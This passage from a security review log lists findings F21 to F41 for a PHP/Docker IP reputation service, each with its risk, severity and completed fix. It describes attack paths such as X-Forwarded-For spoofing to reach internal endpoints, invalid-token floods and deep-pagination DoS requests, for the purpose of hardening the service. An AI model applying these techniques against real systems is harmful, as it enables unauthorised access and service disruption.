/data(api + migrate) — the existingirdb-datanamed volume; holds the SQLite database, phinxlog table, geoip mmdb files, the bootstrapped service token row, and any other future persistent state./tmp— PHP scratch and session files. World-writable (mode=1777) to match Linux convention; PHP sessions in the ui rely on this default save_path./home/app/.configand/home/app/.local/share— XDG dirs where Caddy/FrankenPHP write theirautosave.jsonand (unused-here) TLS storage. Owned by uid=1000 withmode=0700so only the runtime user can read them.Verification: brought the stack up clean (
docker compose up -d) with a synthetic.env. Phinx ran all 22 migrations; both api and ui reachedhealthy; both/healthzendpoints returned 200. Inside each container,touchagainst/app,/app/src,/app/vendor,/app/public/index.phpreturnedRead-only file system, while/tmp,/home/app/.config,/home/app/.local/share, and/data(api only) accepted writes as uid=1000.Operator note: when adding a new writable path to the runtime (e.g. a cache dir, a queue spool, an upload staging area), declare it as either a named volume or a tmpfs in compose — writes anywhere else now fail with EROFS. F22 (scheduler) is scoped separately; this commit does not change
compose.scheduler.yml.F21 —
getTraceAsStringlogged in production may leak plaintext credentials
- Files:
api/src/Infrastructure/Http/JsonErrorHandler.php:48,api/src/Infrastructure/Jobs/JobRunner.php:91- Risk: PHP's stringified backtrace inlines scalar arguments to each frame. An exception thrown from inside
password_verify, a Guzzle request setter, or any function called with a token/password as an argument writes the plaintext secret into the trace.SecretScrubbingProcessormatches Argon2/bcrypt hashes andirdb_*token shapes but does not match arbitrary plaintext passwords or generic OIDCclient_secretvalues, so password-spray and OIDC misconfig errors leak via stdout logs.- Severity: 2
- Status: Fixed. Both call sites now route through
App\Infrastructure\Logging\SafeTrace::format(), which walksThrowable::getTrace()(and thegetPrevious()chain) and renders one frame per line as#N file(line): Class::method()— theargselement is dropped entirely, so no scalar argument can ever reach a log record regardless of the secret-scrubber's pattern list.JsonErrorHandlerandJobRunnerno longer callgetTraceAsString(). Regression test inapi/tests/Unit/Logging/SafeTraceTest.phpcovers single-frame arg suppression,Caused bychain walking, and the rendered frame layout.F22 —
compose.scheduler.ymlrunsapk addat every container start
- File:
compose.scheduler.yml:3-8- Risk:
image: alpine:3(no digest, no minor pin) plusapk add --no-cache curl tiniat runtime means each restart pulls whatever Alpine ships that minute. A compromise of the Alpine package mirror (or typosquatting) gets root in the scheduler container, which holdsINTERNAL_JOB_TOKENand can call/internal/jobs/*. Pin the base image digest and the apk versions or build a real image.- Severity: 2
- Status: Fixed. Replaced the inline
image: alpine:3+ runtimeapk addwith a real build context atscheduler/. The newscheduler/DockerfilepinsFROM alpine:3.21@sha256:48b0309c…and installscurl=8.14.1-r2,tini=0.19.0-r3,ca-certificates=20260413-r0at build time; restarts now reuse the locally-built image with no network fetch. The crontab (scheduler/scheduler.crontab) is baked into the image, which also removes the previously dangling./docker/scheduler.crontabbind-mount path. The compose service runsread_only: truewithno-new-privileges:trueand only/run+/tmptmpfs mounts;cap_drop: [ALL]was tested and rejected because busybox crond callsinitgroups()before each fork and dies with "can't set groups" withoutCAP_SETGID. Verified end-to-end:docker compose -f docker-compose.yml -f compose.scheduler.yml up -dbrings the sidecar up healthy and within one minute the api responds{"job":"tick","status":"success",...}to the scheduled curl.F23 —
jumbojett/openid-connect-php ^1.xconstraint pins a major with historical CVEs
- File:
ui/composer.json:19- Risk: The
^1.0constraint covers a major line that has had multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2). Given this library is the sole OIDC token-validation entry point, drift here is critical. Tighten to^1.0.2 || ^2.0after testing and runcomposer auditregularly.- Severity: 2
- Status: Fixed in
f66ceaf.ui/composer.jsonnow requiresjumbojett/openid-connect-php: "^1.0.2 || ^2.0", excluding the pre-1.0.2 versions that carry the iss-confusion advisory while still permitting an upgrade path to a future v2.x line. Thecomposer.lockwas regenerated against the new constraint (still resolves to v1.0.2, the latest published release) anduiregression tests pass unchanged. The "runcomposer auditregularly" half of the recommendation was already in place:scripts/ci.shinvokescomposer audit --no-devfor bothapianduion every CI run (lines 84-85 and 109-110), so any future advisory against the locked version fails the build.F24 — UI CSP allows
script-src 'unsafe-inline' 'unsafe-eval'
- File:
ui/docker/Caddyfile:33- Risk:
'unsafe-inline'permits inline<script>blocks AND inline event handlers (x-on:click,onclick). Any stored or reflected XSS sink elsewhere in the app executes unimpeded. The trade-off is documented (Alpine.js v3Function()evaluator), but CSP is here a defence-in-depth string only — XSS is fully exploitable without strict CSP. Migrating to nonces or hashed scripts and packaging Alpine-with-CSP-build would close the gap.- Severity: 2
- Status: Fixed.
script-srcis now'self' 'nonce-…'only —'unsafe-inline'and'unsafe-eval'are gone. Two changes close it:
- Per-request CSP nonce.
App\Http\CspMiddlewaremints a 16-byte URL-safe nonce per request, exposes it on the request attribute and as the Twigcsp_nonceglobal, and stamps a freshContent-Security-Policy: …; script-src 'self' 'nonce-…'; …header on the response. The static CSP block is removed fromui/docker/Caddyfilebecause the nonce changes per response and Caddy can't see that. The only inline<script>left in the codebase — the FOUC dark-mode preloader inui/resources/views/layout.twig— carriesnonce="{{ csp_nonce }}".- Alpine.js CSP build. Switched
ui/package.jsonfromalpinejsto@alpinejs/csp, which never callsFunction()and so does not need'unsafe-eval'. The CSP build forbids inline expressions inx-data/x-on:/x-show/x-bind, so every component lives inui/resources/js/app.jsregistered viaAlpine.data(name, …)(toggle, rowExpander, kindSwitcher, submitGuard, dangerousAction, loginForm, decayPreview, policyPreview, policyScoreDistribution, scoreOverTime, rawTokenCopy). Initial values are read fromdata-*attributes on the root element, not interpolated into attribute expressions. The audit-page datetime-local helper and three previously per-page inline<script>blocks (categories, ips/detail, policies) are inlined intoapp.js. Regression tests:ui/tests/Unit/Http/CspMiddlewareTest.phpcovers nonce uniqueness, URL-safe alphabet, thescript-src+frame-ancestorsshape, and middleware integration.ui/tests/Integration/App/CspHeaderTest.phpboots the full Slim app and asserts: every response carries CSP, the layout<script nonce>value matches the response header's'nonce-…', nonces rotate across requests, and no inline DOM event handlers orx-data="{…}"object literals leak into the rendered HTML.F25 — Trusted-proxy XFF rewrite +
private_rangesmay allow/internal/*bypass
- Files:
api/docker/Caddyfile:7-11, 50-62,api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35,docker-compose.yml:15-16- Risk: Caddy is configured
trusted_proxies static private_ranges, so it honorsX-Forwarded-Forand rewritesREMOTE_ADDRwhenever the immediate peer is in any RFC1918 range. The api container's port 8081 is published. In a deployment where another container on the same docker bridge or a misconfigured host-iptables rule reaches port 8081 from a 172.16/12 source, both the Caddyfile gate (remote_ip 127.0.0.1/32 ::1/128 ...) and the PHPInternalNetworkMiddlewaresee a forged source. TheINTERNAL_JOB_TOKENis still required, but the network-layer defense is bypassable on tenant-shared docker hosts.- Severity: 2
- Status: Fixed. Three layers tighten the gate to loopback-only by default; everything else has to opt in explicitly:
- Caddy
trusted_proxiesnarrowed.api/docker/Caddyfilereplacestrusted_proxies static private_rangeswithtrusted_proxies static {$TRUSTED_PROXIES:127.0.0.1/32 ::1/128}. With no env override, only loopback is treated as a "real proxy" for XFF rewriting — so a non-loopback peer can no longer forgeREMOTE_ADDR=127.0.0.1viaX-Forwarded-For. Operators behind a genuine reverse proxy setTRUSTED_PROXIESto that proxy's CIDR.- Caddy
@internalmatcher narrowed. Theremote_ipallowlist for/internal/*is now127.0.0.1/32 ::1/128only — the wide RFC1918 entries (172.16.0.0/12,10.0.0.0/8,192.168.0.0/16) are gone. Mirrored on the oppositenot remote_ipdeny rule.- PHP
InternalNetworkMiddlewareconstructor-driven. The hardcoded RFC1918 list is gone; the constructor now takes an optional CIDR list and falls back toDEFAULT_ALLOWED_CIDRS = ['127.0.0.1/32', '::1/128']. The DI container readsINTERNAL_CIDR_ALLOWLISTfrom env (parsed by a newparseCidrList()helper that fails-closed on invalid input) and passes the result to the middleware. Operators with a host- cron VM on a private bridge add their CIDR via env and Caddyfile.- Sidecar scheduler joins the api's network namespace.
compose.scheduler.ymlswitches tonetwork_mode: "service:api"andscheduler.crontabposts tohttp://localhost:8081/...instead ofhttp://api:8081/.... The scheduler's call now arrives on127.0.0.1inside the shared netns, satisfying the loopback-only gate without weakening it for actual neighbours. SPEC §7 ("Scheduling") and §6 ("Internal endpoints") updated to match. Regression tests inapi/tests/Unit/Http/InternalNetworkMiddlewareTest.php: the data provider now expects RFC1918 sources to be rejected under the default; new cases cover (a)null/[]falling back to the loopback default, (b) a custom172.20.0.5/32allowlist admitting only that exact source, (c) invalid CIDRs failing-closed at construction, and (d) theparseCidrList()env-parser accepting comma- and whitespace-separated input while throwing on garbage.F26 — JsonErrorHandler can leak raw exception messages in production
- File:
api/src/Infrastructure/Http/JsonErrorHandler.php:53-82- Risk: The "hide details in prod" guard fires only when status ≥ 500. The
HttpExceptionbranch returns[$e->getCode(), ['error' => $e->getMessage()]]for codes anywhere in 400–499 — attacker-influenced messages are returned verbatim. The catch-all branch passes$e->getMessage()into the payload and only overwrites it with'internal error'when status ≥ 500 AND!expose. Internal exception types (DBAL, PDO, parse errors) whosegetCode()happens to be in the 4xx range bypass suppression and return raw messages.- Severity: 2
- Status: Fixed in
ce77454.JsonErrorHandlernow maps every HTTP status to a fixedSTATUS_TOKENSlookup (bad_request,forbidden,too_many_requests, …) and only emits that canonical token in theerrorfield.Throwable::getMessage()is no longer echoed to clients in production for any branch —HttpException,HttpNotFoundException,HttpMethodNotAllowedException, or catch-all. Out-of-rangegetCode()(including the default0fromnew HttpException(...)) is clamped to 500. Non-HttpException Throwables always collapse to status 500 regardless of their numeric code, closing the previous 4xx-bypass path. The raw exception class + message are only added under a separatedetailkey when$displayErrorDetails(Slim) or$exposeDetails(dev env) is on. New unit-test suiteJsonErrorHandlerTestcovers the canonical responses for HttpNotFound/HttpMethodNotAllowed/HttpBadRequest/HttpForbidden/ HttpInternalServerError, the generic-Throwable 500 path, the 4xx-numeric-code-on-non-HttpException no-leak case, the clamp oncode=0, the unmapped-but-valid 418 fallback, the dev-mode detail shape, and the per-requestdisplayErrorDetailsoverride.F27 —
RateLimitMiddlewareis skipped when no principal is present
- Files:
api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36- Risk: The middleware bails out and forwards unrate-limited if
$principalis missing. Anything outside the public group (admin/auth/internal/health/docs) receives no rate limiting. Auth-failed paths (401 fromTokenAuthenticationMiddleware) never reachRateLimitMiddlewareeither — a client hammering with invalid bearer tokens incurs DB lookups (andlast_used_atwrites on hits) with zero backoff, pinning DB pool / connection budget.- Severity: 2
- Status: Fixed in
060119a.RateLimitMiddlewareno longer bypasses on missing principal; it now derives the bucket key from whichever signal is present:
- principal attached →
token:<tokenId>(post-auth, original behaviour),- principal missing →
ip:<REMOTE_ADDR>(pre-auth, new fail-closed path; empty/absent REMOTE_ADDR collapses to a singleip:unknownbucket so we never silently bypass).RateLimiter::tryConsume()now accepts arbitrary string keys so these namespaces stay independent — a single user's per-token bucket cannot drain the per-IP bucket that throttles unauthenticated traffic.
AppFactoryregistersRateLimitMiddlewaretwice on/api/v1/*and/api/v1/auth/*: once as the outermost layer (runs beforeTokenAuthenticationMiddleware, consumes from the IP bucket) and once betweenAuditContextand the handler (consumes from the token bucket once a principal is attached). The pre-auth position is what closes the 401-bypass: invalid-bearer floods now hit the IP bucket and 429 before the request reachestokens.findByHash().Admin/internal/health/docs route groups still have no rate limit — that is the scope of F29 (admin) and existing internal-network / loopback gating, not this finding.
Tests:
- `RateLimiterTest::testTokenAndIpNamespacesDoNotShareABucket` verifies the namespaces hold separate buckets. - New `RateLimitMiddlewareTest` covers token-keyed buckets, IP-keyed fallback, per-IP isolation, and the missing/empty `REMOTE_ADDR` `ip:unknown` collapse. - `RateLimitTest::testInvalidBearerTokenFloodIsRateLimitedBeforeAuth` sends 20 requests with a junk bearer; the first 4 reach the auth path (401), the rest 429 before any DB lookup. - `RateLimitTest::testMissingBearerHeaderIsAlsoRateLimitedByIp` covers the no-Authorization-header case on `/api/v1/blocklist`.F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
- File:
api/src/Infrastructure/Http/RateLimiter.php:23-49- Risk:
$bucketsis unbounded and never evicted (token churn balloons memory in long-lived FrankenPHP workers). Multi-replica deployments give an attacker a fresh bucket per replica — effective rate is(perSecond) * N_replicasper token behind a non-sticky LB. Idle/revoked tokens linger forever until container restart.- Severity: 2
- Status: Fixed in
e09964b.RateLimiternow caps the bucket map at a configurablemaxBuckets(default 10 000). EverytryConsume()re-inserts the touched key at the end of the PHP array so insertion order tracks LRU; on overflow the oldest entries get dropped in batches of 256 so eviction amortises across requests instead of running on every call once we're at steady state. A dropped bucket comes back as a fresh full-capacity bucket on next access — equivalent to the bucket having idled long enough to refill, so eviction never grants more tokens than the configured rate would already permit. The cap kills the unbounded-growth path and short-circuits the "idle/revoked tokens linger forever" leak: once a rotated/revoked token's bucket is the LRU front, the next eviction drops it. The multi-replica half is a SPEC §10 topology constraint (single-replica is the documented supported topology for the limiter; horizontalapiscaling requires sticky LB) and is tracked separately as future scaling work to swap the in-process map for a shared backend (Redis / DB). Regression tests inapi/tests/Unit/Http/RateLimiterTest.php(testBucketMapIsBoundedByMaxBucketsCap,testEvictedBucketReturnsAtFullCapacityOnReuse,testRecentlyTouchedKeyIsNotEvicted,testMaxBucketsBelowEvictionBatchIsRejected).F29 —
/api/v1/admin/*group has no rate limit
- File:
api/src/App/AppFactory.php:188-337- Risk: The admin group attaches
tokenAuth → impersonation → auditContextbut not$rateLimit. Combined with F30 (slow searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any compromised Viewer token (Viewer is the OIDC default role) can issue unlimited heavy queries.- Severity: 2
- Status: Fixed in
a997d65. The admin route group now attachesRateLimitMiddlewarein the same two-position pattern used by the public and auth groups (SEC_REVIEW F27): once as the outermost layer (pre-auth,ip:<REMOTE_ADDR>bucket — throttles invalid-bearer floods before TokenAuth queries the DB) and once innermost (post-auth,token:<tokenId>bucket — caps an authenticated Viewer driving the heavy admin queries flagged by F30/F31/F32). The order added israteLimit(token) → auditContext → impersonation → tokenAuth → rateLimit(ip)so execution runsip → tokenAuth → impersonation → auditContext → token → controller. Mitigates F29 directly and bounds the impact of F30/F31/F32 until those land their own fixes. Regression tests inapi/tests/Integration/Public/RateLimitTest.php(testAdminRoutesAreRateLimited— replaces the priortestAdminRoutesNotRateLimitedwhich encoded the bug as expected behaviour — andtestAdminAuditLogIsRateLimitedPerToken).F30 —
IpScoreRepository::searchIpsallows full-table scan viaq=%X%
- File:
api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307- Risk: For any
qvalue not matching/^[\da-fA-F:.]+$/, the query degrades toLIKE '%q%', forcing a fullip_scorestable scan +GROUP BY ip_bin, ip_text(no index supports a non-anchored LIKE). At the SPEC's 50k-row target this is slow. Pair withmin_score/max_scoreHAVING and the LEFT JOIN onip_enrichment(joined whenever country or asn is supplied) and a Viewer can drive pathological execution per request. There is no statement timeout. Each request also runs a separateCOUNT(*)over the same wrapped subquery, doubling cost.- Severity: 2
- Status: Fixed in
2cc1924.IpsController::parseSearchFiltersrejects anyqthat doesn't match/^[0-9a-fA-F:.]+$/or exceeds 64 chars (IPv6 max is 39) with 400validation_failed, so the non-anchored substring path can no longer be reached from the API.IpScoreRepository::searchIpsdrops the%q%branch entirely — the only LIKE shape it ever issues iss.ip_text LIKE 'q%', and it re-validatesqwith the same regex as defence-in-depth so a future caller cannot accidentally reintroduce a full-table scan. Same change incidentally closes F46 (%/_wildcard injection in the IPs search), since neither character survives the regex. Pre-auth and per-token admin rate limits added under F29 bound the cost of even the legitimate prefix path. The remainingCOUNT(*)cost on deep filters is tracked under F31/F32. Regression tests inapi/tests/Integration/Admin/IpsControllerTest.php(testSearchRejectsNonIpShapedQuery,testSearchRejectsOverlongQuery,testSearchQueryIsPrefixAnchoredNotSubstring).F31 —
AuditControllerhas no length cap, no max-offset cap, deep-offset scans
- Files:
api/src/Application/Admin/AuditController.php:58-101,api/src/Infrastructure/Audit/AuditRepository.php:68-129- Risk:
action,entity_type,entity_id,subject_idare passed unfiltered. Withpage_size=200and largeoffset,LIMIT 200 OFFSET hugecauses a deep scan overaudit_log. No max-offset cap.COUNT(*)runs on every paginated request. A logged-in Viewer can hit?page=999999&page_size=200to force scans repeatedly.- Severity: 2
- Status: Fixed in
3a2564d.AuditController::listnow bounds every free-form filter (action,entity_type,entity_id,subject_kind,subject_id) toMAX_FILTER_LENGTH = 128chars and rejects any computed offset aboveMAX_OFFSET = 10 000with 400validation_failed({"page": "pagination depth exceeded; useto=to cursor into older rows"}). The cap is large enough to comfortably page through human-driven browsing (offset 10 000 covers 200 pages of 50 or 50 pages of 200) but bounds theLIMIT n OFFSET hugeworst case the finding describes. The request-timeCOUNT(*)cost is bounded by the same gate — once a Viewer can't drive offsets past 10 k, the count's cost is bounded by the WHERE-clause's selectivity instead of by attacker choice; the per-token admin rate limit added under F29 caps how often a Viewer can issue these counts. Regression tests inapi/tests/Integration/Admin/AuditLogControllerTest.php(testOversizedFilterRejected,testDeepOffsetRejected,testDeepOffsetAtBoundaryAccepted).F32 — Admin list endpoints execute N+1 enrichment lookups per page row
- Files:
api/src/Application/Admin/IpsController.php:84-86, 187-190,api/src/Application/Admin/AdminControllerSupport.php:67-77- Risk:
IpsController::listcallsenrichment->findByIpBin()andeffectiveStatusFor()per row. Atpage_size=200, that's 400+ DB roundtrips per request. With no admin rate limit (F29), this amplifies query cost significantly. Refactor to batch-load enrichment by ip_bin set.- Severity: 2
- Status: Fixed in
0594305.IpsController::listno longer issues per-row lookups. Two new batch methods replace the inner loop:IpEnrichmentRepository::findByIpBins()runs a singleWHERE ip_bin IN (…)SELECT and returns a bin-keyed map;IpScoreRepository::topCategoryByIpBins()runs onescore > 0 AND ip_bin IN (…) ORDER BY ip_bin, score DESCSELECT and groups in PHP. The third per-row call —EffectiveStatusService::forIp— is replaced byeffectiveStatusFromRow(), which derives theScoreddecision from the search row's existingmax_scorecolumn and reuses the in-memoryCidrEvaluatorfor theAllowlisted/ManuallyBlockedchecks (already O(1) hash lookups, loaded once per request). Net cost drops from2 + 3·page_sizeround-trips per page (601 at page_size=200) to 4: search + count, plus the two batch lookups — invariant in page size. Combined with the per-token admin rate limit added under F29 and the deep-pagination guard added under F31, a Viewer can no longer drive query cost via either depth or per-row amplification. Regression tests inapi/tests/Integration/Admin/IpsControllerTest.php(testSearchBatchesPerRowLookups,testSearchStatusUsesMaxScoreColumn).
Severity 1 — low / informational
F33 —
OidcClaims->emailis?stringbutupsertOidctypes it asstring
- Files:
api/src/Infrastructure/Auth/UserRepository.php:65-71,ui/src/Auth/JumbojettOidcAuthenticator.php:56-61- Risk: Type-system finding rather than direct exploit; a TypeError at the boundary on null email. Downstream merge-by-email tools could later confuse two users since the OIDC primary key is
subjectbut some IdPs don't release- Severity: 1
- Status: Fixed.
UserRepository::upsertOidcnow types?stringand the DBAL upsert persistsusers.email = NULLwhen the IdP doesn't release the claim.AuthController::upsertOidcswitches to anullableStr()extractor fornull);subjectanddisplay_nameremain mandatory. Theuser.created/user.role_changedaudit rows fall back todisplay_namefortarget_labelwhenapi/tests/Integration/Auth/AuthEndpointsTest.php(testUpsertOidcAcceptsMissingEmail,testUpsertOidcAcceptsExplicitNullEmail,testUpsertOidcStillRejectsMissingSubject,testUpsertOidcStillRejectsMissingDisplayName).F34 — Sensitive identifiers logged at INFO/WARN/ERROR
- Files:
ui/src/Auth/LoginThrottle.php:79-90,ui/src/Auth/OidcController.php:84- Risk: Attempted usernames (which can include passwords typed in the wrong field), source IPs, and OIDC subjects are logged in plaintext. SIEM exports / log access by lower-trust operators amount to accidental disclosure.
- Severity: 1
- Status: Fixed. New
App\Logging\LogIdentifier::fingerprint()helper produces a stable 12-hex-char SHA-256 prefix of any sensitive identifier; an empty input collapses to theemptysentinel so log matching doesn't fold an absent field into the SHA-256-of-empty bucket.LoginThrottle::recordFailure()now logsusername_fpandsource_ip_fpinstead of the raw values on both the per-IP and per-username buckets, on both the failure-with-no-lock and lockout-triggered paths.OidcControllerlogssubject_fpinstead ofsubjecton theuser_disableddenial and the no-role-assigned branch. Triage by counting hits on a single fingerprint still works; a SIEM reader no longer sees passwords typed in the username field, raw client addresses, or IdPsubclaims. (The fingerprint is not cryptographic protection against an attacker with full log access who is willing to brute-force a small space such as the IPv4 universe — that threat is out of scope for F34, which targets accidental disclosure.) Regression tests:ui/tests/Unit/Logging/LogIdentifierTest.php,LoginThrottleTest::testRecordFailureLogsFingerprintsNotRawIdentifiers, and the two newOidcFlowTest::test{NoneRoleDoesNotLogRawSubject,DisabledUserDeniedDoesNotLogRawSubject}cases (the latter exercised via a newAppTestCase::captureLogs()helper that swaps in a MonologTestHandler).F35 —
INTERNAL_JOB_TOKENhas no minimum-length enforcement at startup
- File:
api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47- Risk:
hash_equalsis correct, but a misconfigured deploy withINTERNAL_JOB_TOKEN=foois accepted as long as it is non-empty. Network gate (InternalNetworkMiddleware) limits exposure but combined with F25 a docker-network neighbour can brute-force a weak token. Validate at startup that the token is at least 32 hex chars or refuse to boot.- Severity: 1
- Status: Fixed. New
App\App\Config::validateOrExit()(mirrors the ui'sApp\App\Config::validateOrExit) runs fromapi/public/index.phpbeforeContainer::build(). It refuses to boot unlessINTERNAL_JOB_TOKENmatches^[0-9a-fA-F]{32,}$, writing a clear human-readable error to STDERR andexit(1)-ing so the misconfiguration crashes ondocker compose uprather than serving/internal/*to a docker-network neighbour with a weak shared secret. 32 hex chars = 128 bits of entropy; the.env.exampledocuments 64 (fromopenssl rand -hex 32) and that remains the recommendation. The middleware's own runtime branch (if ($expectedToken === '') { unauthorized; }) stays in place as a belt-and-braces defence-in-depth check for tests and for the hypothetical case where a future call site builds the container directly without going throughpublic/index.php. Tests bypass the validator (they callContainer::build($settings)directly with empty values), so the fix doesn't perturbAppTestCase. Regression tests inapi/tests/Unit/App/ConfigTest.phpcover empty / missing- key / short-hex / non-hex / 'foo' / 32-char-hex / 64-char-hex / uppercase-hex, and a subprocess test assertsvalidateOrExit()writes the error to STDERR and exits 1.F36 — UI session role/identity is captured at login and never re-validated
- Files:
ui/src/Http/AuthRequiredMiddleware.php:27-32,ui/src/Auth/SessionManager.php:84-99- Risk: If an OIDC user is removed from an admin group in Entra, or a user record is deleted/disabled in the api, the existing UI session continues to operate with the stale role until expiry (8h idle / 24h absolute). No "revoke session by user_id" primitive.
- Severity: 1
- Status: Fixed.
AuthRequiredMiddlewarenow periodically revalidates the cachedUserContextagainstGET /api/v1/admin/me. Cadence is configurable viaUI_SESSION_REVALIDATE_SECONDS(default 300 seconds — 5 minutes); the middleware tracks the last revalidation timestamp in a new_revalidated_atsession slot owned bySessionManager. Branches:
- 403 from the api (
user_disabledorunknown impersonated user) → session cleared, error flash "Your access was revoked. Please sign in again.", 302 to/login. The api's existing F11 disabled- user path drives this from the server side, soDisabled/ deleted users are kicked off all live sessions within one revalidation window.- 404 → defensive same-as-403 (the api currently always returns 403 for missing/disabled users; treat 404 the same way for safety).
- 200 with changed role / display_name / email →
SessionManager::updateUser()rewrites the cached row but preserves_authenticated_at/_last_activeso the 8h idle and 24h absolute timeouts keep running off the original login.- 200 unchanged → just bump
_revalidated_at.- api unreachable / 401 / 5xx / generic → log a warning, mark revalidated to avoid grinding on every request, and proceed with the existing session. An api outage must not lock every live session out, and the api itself is the authoritative gate on every data call (it re-resolves the principal via
X-Acting-User-Idper request, F11), so a stale UI cache during an outage cannot escalate privilege. Pre-F36 ("legacy") sessions without_revalidated_atare bootstrapped on first sight without an api call, so existing rolling sessions don't all stampede the api on deploy. Tests:ui/tests/Integration/Auth/SessionRevalidationTest.phpcovers within-interval (no api call), past-interval-no-change, past-interval-role-changed (admin → viewer is reflected immediately),user_disabledand unknown-user kick paths, api-unreachable-keeps-session, and the legacy-session bootstrap.F37 — Local-admin password hash algorithm not validated at boot
- File:
ui/src/Auth/LocalLoginController.php:42, 78- Risk: No check that
LOCAL_ADMIN_PASSWORD_HASHis Argon2id (or bcrypt cost ≥ 12). An operator who passes$2y$04$…(cost 4) or a legacy$1$…MD5-crypt string would have it accepted. Usepassword_get_info()and refuse to enable local-admin if the algorithm is below threshold.- Severity: 1
- Status: Fixed.
App\App\Config::validateOrExit(called fromBootstrap::run()beforeContainer::build()) now refuses to boot whenLOCAL_ADMIN_ENABLED=trueand the configuredLOCAL_ADMIN_PASSWORD_HASHis anything other than Argon2id or bcrypt with cost ≥ 12 (newConfig::BCRYPT_MIN_COSTconstant). The algorithm is read viapassword_get_info(), so unknown / legacy formats ($1$…md5-crypt,$5$…sha256-crypt, plain text, base64 noise) all collapse into the rejection branch with the same human-readable message pointing the operator atpassword_hash('…', PASSWORD_ARGON2ID). argon2i is also rejected because it doesn't meet the SEC_REVIEW threshold even thoughpassword_hashaccepts it. Tests: bypass the validator (theBootstrap::container()test path is unchanged), so existing fixtures continue to use Argon2id without ceremony. Regression tests inui/tests/Unit/App/ConfigTest.phpcover Argon2id-accept, bcrypt-cost-12-accept, bcrypt-cost-4-reject, argon2i-reject, md5-crypt-reject, plain-string-reject, empty-string-reject, and the "local admin disabled, hash not checked" branch (operators who run OIDC-only don't have to invent a strong dummy hash).F38 — Disabled local-admin returns 404 before throttle, allowing unrestricted hammering
- File:
ui/src/Auth/LocalLoginController.php:60-62- Risk: When
localAdminEnabled === false, the controller 404s with no rate-limit. Worker threads still serve the request — a cheap DoS lever on environments with the local path disabled.- Severity: 1
- Status: Fixed.
LocalLoginController::postLocalnow records aLoginThrottlefailure on the disabled-path branch before returning the 404. The bucket key is('', source_ip)— an empty username sentinel — so all hits from one source IP fold into the same per-IP bucket regardless of what username field the attacker happens to submit, defeating a rotating-username spray. Once locked, additional hits skiprecordFailure(the gate isif (!isLocked) recordFailure), so the throttle file size is bounded by the lockout ladder rather than by attacker request volume. The 404 status code is preserved on both the locked and unlocked branches so the response doesn't leak the lockout state to a probing attacker. Regression tests inui/tests/Integration/Auth/LocalLoginTest.php:testDisabledLocalAdminRecordsThrottleFailure(5 hits with rotating usernames from one IP trip the lockout) andtestDisabledLocalAdminLockedHitDoesNotIncrementBucket(50 more hits while locked don't extend the lockout window).F39 — Token base32 encoding has trailing-bit ambiguity
- Files:
api/src/Domain/Auth/Token.php:18, 47,api/src/Domain/Auth/TokenIssuer.php:26-43- Risk: The encoder zero-pads the final 5-bit chunk, so the last base32 char encodes only 4 useful bits — 32 possible last characters decode to 16 distinct values modulo the unused bit. No exploit found (lookup is by SHA-256 of the raw input), but the parser should refuse base32 strings whose final character has the unused bit set.
- Severity: 1
- Status: Fixed. The original review concern was based on the visible
if (strlen($chunk) < 5) { $chunk = str_pad($chunk, 5, '0'); }branch inTokenIssuer::base32Encode. For the actual input —random_bytes(20)= 160 bits — that branch was unreachable: 160 ÷ 5 = 32 with zero remainder, every base32 char in the 32-char output carries a full 5 useful bits, and there is exactly one canonical encoding per input. So there are no unused trailing bits and no ambiguity in the existing scheme. The deadstr_padbranch (the source of the false-positive impression) is removed; the encoder now hard-assertsstrlen($bytes) === 20and throwsInvalidArgumentExceptionotherwise, so any future caller that passes a different length crashes loudly rather than silently emitting a non-canonical / shorter token. The 20-byte length is pinned via a newTokenIssuer::ENTROPY_BYTES = 20constant. The parser (Token::parse) keeps its^[A-Z2-7]{32}$body pattern; every 32-char base32 string is canonical for this scheme so no additional canonicality gate is needed. Regression testTokenIssuerTest::testIssuedBodyAlwaysExactlyThirtyTwoBase32Charsasserts the invariant across 100 fresh issuances.F40 — CSRF token never rotated on session-id regeneration
- Files:
ui/src/Http/CsrfMiddleware.php:53-60,ui/src/Auth/SessionManager.php:67-75, 77-82- Risk:
regenerateId()rotatessession_idon login but the$_SESSION['_csrf']token carries over across the privilege boundary. A pre-auth token leaked via referer or a sub-resource remains valid post-auth for the session lifetime. Standard hardening: regenerate the CSRF token on login/logout. (clear()resets$_SESSIONto[]so logout is fine.)- Severity: 1
- Status: Fixed.
SessionManager::regenerateId()now also drops the_csrfslot on both branches (HTTPsession_regenerate_id(true)and the CLIrotateIdUnderClifallback).CsrfMiddlewarelazily mints a fresh token on the next request when the slot is missing, and every call site ofregenerateId()is followed by a 303 / 302 redirect (no template render in the same request), so the next protected GET re-issues a clean token before any state-changing request.clear()already wipes$_SESSIONoutright on logout, so the rotate-on-id-rotate hook onregenerateIdcovers the login direction; an attacker who scraped the pre-auth token via Referer or a sub-resource leak cannot replay it post-auth. NewKEY_CSRFconstant onSessionManagermirrorsCsrfMiddleware::SESSION_KEYto avoid a domain → http-layer dependency. Regression tests inui/tests/Unit/Auth/SessionManagerTest.php(testRegenerateIdRotatesCsrfTokenInCliMode/…InHttpMode) and end-to-end through Slim inui/tests/Integration/Auth/LocalLoginTest.php(testCsrfTokenIsRotatedAcrossLoginPrivilegeBoundary).F41 — Reporter / consumer
audit_enabledis mass-assignable via PATCH
- Files:
api/src/Application/Admin/ReportersController.php:178-184,api/src/Application/Admin/ConsumersController.php:184-190- Risk: Admin-gated, but an attacker with Admin can silently disable
report.received/blocklist.requestedaudit emission for a reporter/consumer before performing further activity, then re-enable. No special-class audit signal flags the toggle.- Severity: 1
- Status: Fixed. Two new audit actions —
